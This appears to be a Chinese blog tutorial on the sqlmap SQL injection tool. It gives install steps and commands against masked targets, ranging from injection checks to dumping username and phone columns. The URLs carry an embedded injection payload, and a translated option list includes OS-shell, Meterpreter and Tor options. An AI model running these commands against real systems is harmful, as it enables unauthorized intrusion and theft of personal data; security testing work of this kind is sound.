安全测试工具之sqlmap

  • 介绍

       官方网址:http://sqlmap.org
  Github地址:https://github.com/sqlmapproject/sqlmap
  中文使用说明:http://www.91ri.org/6775.html

Sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。
支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB 
SQL注入技术:boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band
枚举数据:users, password hashes, privileges, roles, databases, tables and columns

  • 安装

    直接在Linux服务器在线安装(比较慢),也可以去官网下载后解压。

        git clone https://github.com/sqlmapproject/sqlmap.git /alidata/sqlmap

  • 常用命令介绍

  • get注入检测
    python sqlmap.py -u "http://xxxxxxx.com/report/businessOverview/index"?shopIds=810077870
  • 单个post注入检测

        python sqlmap.py -u "http://xxxxxxxxxxx.com/report/businessOverview/index" --data "shopIds=810077870"

  • 获取所有数据库名

        python sqlmap.py -u "http://xxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" --dbs

  • 获取指定数据库的表信息

        python sqlmap.py -u "http://xxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall --tables

  • 获取表字段名

       python sqlmap.py -u "http://xxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist --columns

  • 获取字段内容

      python sqlmap.py -u "http://xxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist -C "username,phone" --dump

  • sqlmap选项

  目标:至少要选中一个参数
    -u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       将谷歌dork的结果作为目标url
  请求:
    这些选项可用于指定如何连接到目标URL
    --data=DATA         数据字符串通过POST发送
    --cookie=COOKIE     HTTP Cookie的值
    --random-agent      随机选择 HTTP User-Agent 头的值
    --proxy=PROXY       使用代理去连接目标URL
    --tor               使用匿名网络
    --check-tor         检查Tor是否正确使用
  注入:
    这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本
    -p TESTPARAMETER    可测试的参数
    --dbms=DBMS         将后端DBMS强制到此值
  检测:
    这些选项可用于定制检测阶段
    --level=LEVEL       执行的测试级别(1-5, 默认 1)
    --risk=RISK         执行测试的风险 (1-3, 默认 1)
  技术:
    这些选项可用于调整特定SQL注入的测试的技术
    --technique=TECH    SQL注入技术选择 (默认 "BEUSTQ")
  枚举:
    T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句
    -a, --all           检索全部
    -b, --banner        检索 banner
    --current-user      检索当前用户
    --current-db        检索当前数据库
    --passwords         列出用户密码的hash值
    --tables            列出表
    --columns           列出字段
    --schema            列出DBMS schema
    --dump              Dump DBMS数据库表的条目
    --dump-all          Dump 所有DBMS数据库表的条目
    -D DB               指定数据库
    -T TBL              指定表
    -C COL              指定字段
  操作系统访问:
    这些选项可用于访问后端数据库管理系统底层操作系统
    --os-shell          提示为交互式操作系统shell
    --os-pwn            提示为OOB外壳,Meterpreter或VNC
  通用:
    这些选项可用于设置一些通用的工作参数
    --batch             永远不要要求用户输入,使用默认行为
    --flush-session     刷新当前目标的会话文件
  杂项:
    --sqlmap-shell      提示输入交互式sqlmap shell
    --wizard            初学者的简单向导界面

        

  • 获取指定数据库的表信息

         python sqlmap.py -u "http://xxxxxxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall --tables

        

  • 获取表字段名

        python sqlmap.py -u "http://xxxxxxxxxxxxx.com//list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist --columns

     

  • 获取字段内容

          python sqlmap.py -u "http://xxxxxxxxx.com/list/?type=109-if((length(database())=4),0,1)" -D mall -T orderlist -C "username,phone" --dump

  • 无sql注入危险示例

    python sqlmap.py -u "http://xxxxxxxxx.com/shopform.html" --data "tel=130555554837"  --batch

 

猜你喜欢

转载自www.cnblogs.com/stan2008/p/9554860.html
今日推荐